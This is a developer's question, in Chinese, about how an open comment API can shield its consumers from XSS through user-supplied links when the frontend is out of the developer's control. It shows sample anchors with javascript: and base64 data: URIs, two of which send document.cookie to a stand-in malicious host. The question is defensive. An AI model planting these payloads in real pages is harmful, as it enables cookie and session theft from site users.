我提供了一个API,用于将注释附加到任何其他实体。这些评论可以包含任何内容。任何人都可以使用此API。当我无法控制前端实现时,如何仍然可以通过URI保护API的使用者免受XSS的侵害?
我已经在执行字符串转义来防止内联脚本,但是显然字符串转义并不能防止链接中执行的JavaScript。在下面的示例中,第一个链接用于宣传竞争对手的网站,第二个链接窃取您的Cookie信息,第三个链接执行相同的操作,但使用base64编码。 Here is a list of XSS filter evasion possibilities。
<!DOCTYPE html>
<html>
<body>
<a href="javascript:alert('Visit competitor website here!');">Test</a>
<a href="javascript:window.location.replace("https://www.maliciouswebsite.com/?cookies=" + document.cookie);">Test</a>
<a href="data:text/html;base64, PHNjcmlwdD53aW5kb3cubG9jYXRpb24ucmVwbGFjZSgiaHR0cHM6Ly93d3cubWFsaWNpb3Vzd2Vic2l0ZS5jb20vP2Nvb2tpZXM9IiArIGRvY3VtZW50LmNvb2tpZSk7PC9zY3JpcHQ+">Test</a>
</body>
</html>
在大多数情况下,用户在注释中编写的链接不会以纯HTML格式保存到数据库。它们要么使用诸如MarkDown之类的某种样式进行包装,例如[MyLink](https://www.mywebsite.com/)
,或另存为纯链接,例如https://www.mywebsite.com/
。由于用户提交的字符串可以包含许多不同的元素,因此使用模式匹配来删除危险链接非常具有挑战性。例如,用户可能添加了有关JavaScript的注释,说明“ ...选择javascript:用于…”。搜索“ javascript:”的模式已经阻碍了有问题的用户。模式匹配也无法防范base64编码的脚本。
我还可以在我的Comment实体上添加一个string []属性,称为Links,它将容纳注释本身中使用的所有链接,然后按其各自的编号对其进行引用,就像StackOverflow那样。在那一点上,我会知道在哪里寻求消毒。但是我不能保证我的使用者将遵循此约定,并始终使用此属性来存储链接。
另一种方法可能是在沙盒HTML环境中运行实际注释,并查看其中是否包含任何有效的JavaScript。在这种情况下,评论将被完全拒绝或危险输入被过滤掉。但是,在撰写本文时,我不确定这条路线的可行性。
因此,暂时看来,除非我的所有消费者都同意一项约定,即如何将链接发送到API并保证执行该约定(这几乎是不可能的),否则处理潜在危险链接的责任就在API本身的使用者。
我对这个结论是否正确?或者,当我无法控制前端实现时,是否仍可以通过URI保护API的使用者免受XSS的侵害?